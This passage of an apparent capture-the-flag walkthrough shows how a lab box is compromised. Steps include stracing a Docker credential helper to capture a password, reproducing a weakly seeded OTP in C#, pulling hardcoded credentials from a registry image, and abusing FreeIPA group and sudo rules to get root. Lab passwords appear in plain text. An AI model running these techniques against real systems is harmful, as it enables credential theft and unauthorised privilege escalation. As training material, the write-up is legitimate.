At runtime it loads docker-auth.dll embedded inside.
Extract it with binwalk:
binwalk docker-credential-docker-auth
binwalk --dd=".*" -e docker-credential-docker-auth
Collect the PE files:
mkdir pe_files
find . -type f -exec file {} \; | grep 'PE32' | cut -d: -f1 | xargs -I{} cp {} pe_files/
cd pe_files
Identify the DLL:
for f in *; do echo $f; strings "$f" | grep "docker-auth.dll"; done
The DLL is the file that prints docker-auth.dll three times; rename it:
mv A7A3C0 docker-auth.dll
Decompile with ILSpy (https://github.com/icsharpcode/AvaloniaILSpy).
The DLL accepts arguments: get, otp, store.
With get, it reads /home/<username>/.docker/creds (owner is rebecca_smith) and prints:
This account might be protected by two-factor authentication
In case login fails, try logging in with <password><otp>
<credentials_here>
Docker hides the actual credentials, but we can strace the process.
We can attach to a process run by rebecca_smith.
Use this script:
#!/bin/bash
attached=false
while true; do
pid=$(pgrep -u rebecca_smith -f "docker-credential-docker-auth")
if [[ -n "$pid" && "$attached" == false ]]; then
echo "Process found with PID $pid. Attaching strace..."
sudo -u rebecca_smith /usr/bin/strace -s 128 -p $pid
attached=true
fi
done
Save it as attach.sh and run:
chmod +x attach.sh
./attach.sh
In another terminal:
sudo -u rebecca_smith /usr/bin/docker login
In the strace output:
write(33, "{\"Username\":\"rebecca_smith\",\"Secret\":\"-7eAZDp9-f9mg\"}\n", 54) = 54
Credentials:
Username: rebecca_smith
Password: -7eAZDp9-f9mg
Docker Registry + OTP
We saw port 5000 bound to localhost; likely a Docker registry. Direct login fails, but the helper mentions OTP.
From ILSpy, OTP code is:
static void HandleOtp(dynamic dynamicArgs)
{
//IL_001c: Unknown result type (might be due to invalid IL or missing references)
new Random(global::System.DateTime.get_Now().get_Minute() / 10 + (int)GetCurrentExecutableOwner().get_UserId()).Next(100000, 999999);
Console.WriteLine("OTP is currently experimental. Please ask our admins for one");
}
It generates but does not print the OTP. We can reproduce it in C#:
using System;
public class Program
{
public static void Main()
{
int x = new Random(<minute> / 10 + 2003).Next(100000, 999999);
Console.WriteLine(x);
}
}
Replace <minute> with the current minute on the target (use date).
2003 is rebecca_smith’s uid.
This prints the OTP (for example 310463).
Login with OTP appended to password:
docker login -u 'rebecca_smith' -p '-7eAZDp9-f9mg310463' http://127.0.0.1:5000/
Optionally forward the port:
ssh rebecca_smith@10.10.11.73 -NL 5000:localhost:5000
Login succeeds.
List repositories:
curl -k -u 'rebecca_smith:-7eAZDp9-f9mg310463' http://127.0.0.1:5000/v2/_catalog
{"repositories":["test-domain-workstation"]}
Pull the image:
docker pull 127.0.0.1:5000/test-domain-workstation
Optional save:
docker save 127.0.0.1:5000/test-domain-workstation > roba.tar
Run it and inspect entrypoint:
docker run -it --entrypoint 'bash' 127.0.0.1:5000/test-domain-workstation
cat docker-entrypoint.sh
#!/bin/bash
ipa-client-install --unattended --principal donna_adams --password 3FEVPCT_c3xDH \
--server dc01.sorcery.htb --domain sorcery.htb --no-ntp --force-join --mkhomedir
Credentials found:
donna_adams 3FEVPCT_c3xDH
Donna -> Ash -> Root via FreeIPA
SSH as donna_adams:
ssh donna_adams@10.10.11.73
Switch to bash and obtain Kerberos ticket:
bash
kinit
Run GSSAPI LDAP query:
ldapsearch -Y GSSAPI -H ldap://dc01.sorcery.htb -b 'DC=sorcery,DC=htb'
We see Donna can change ash_winter password.
Change it:
ipa user-mod ash_winter --password
Set the password to Winter2025!.
SSH as Ash:
ssh ash_winter@10.10.11.73
Password is expired; set a new one, e.g. Summer2025!.
Check sudo:
sudo -l
Matching Defaults entries for ash_winter on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User ash_winter may run the following commands on localhost:
(root) NOPASSWD: /usr/bin/systemctl restart sssd
At first this does not look useful.
However, ash_winter has a role to add sysadmins.
Get a ticket and add Ash to sysadmins:
kinit
ipa group-add-member sysadmins --users=ash_winter
Group name: sysadmins
GID: 1638400005
Member users: ash_winter
Indirect Member of role: manage_sudorules_ldap
-------------------------
Number of members added 1
-------------------------
List sudo rules:
ipa sudorule-find
-------------------
1 Sudo Rule matched
-------------------
Rule name: allow_sudo
Enabled: True
Host category: all
Command category: all
RunAs User category: all
RunAs Group category: all
----------------------------
Number of entries returned 1
----------------------------
Add Ash to the allow_sudo rule:
ipa sudorule-add-user allow_sudo --users=ash_winter
Rule name: allow_sudo
Enabled: True
Host category: all
Command category: all
RunAs User category: all
RunAs Group category: all
Users: admin, ash_winter
-------------------------
Number of members added 1
-------------------------
Restart sssd and re-check sudo:
sudo /usr/bin/systemctl restart sssd
Wait a few seconds, then:
sudo -l
Matching Defaults entries for ash_winter on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User ash_winter may run the following commands on localhost:
(root) NOPASSWD: /usr/bin/systemctl restart sssd
(ALL : ALL) ALL
sudo -i does not work here, but sudo su does:
sudo su
Root shell achieved.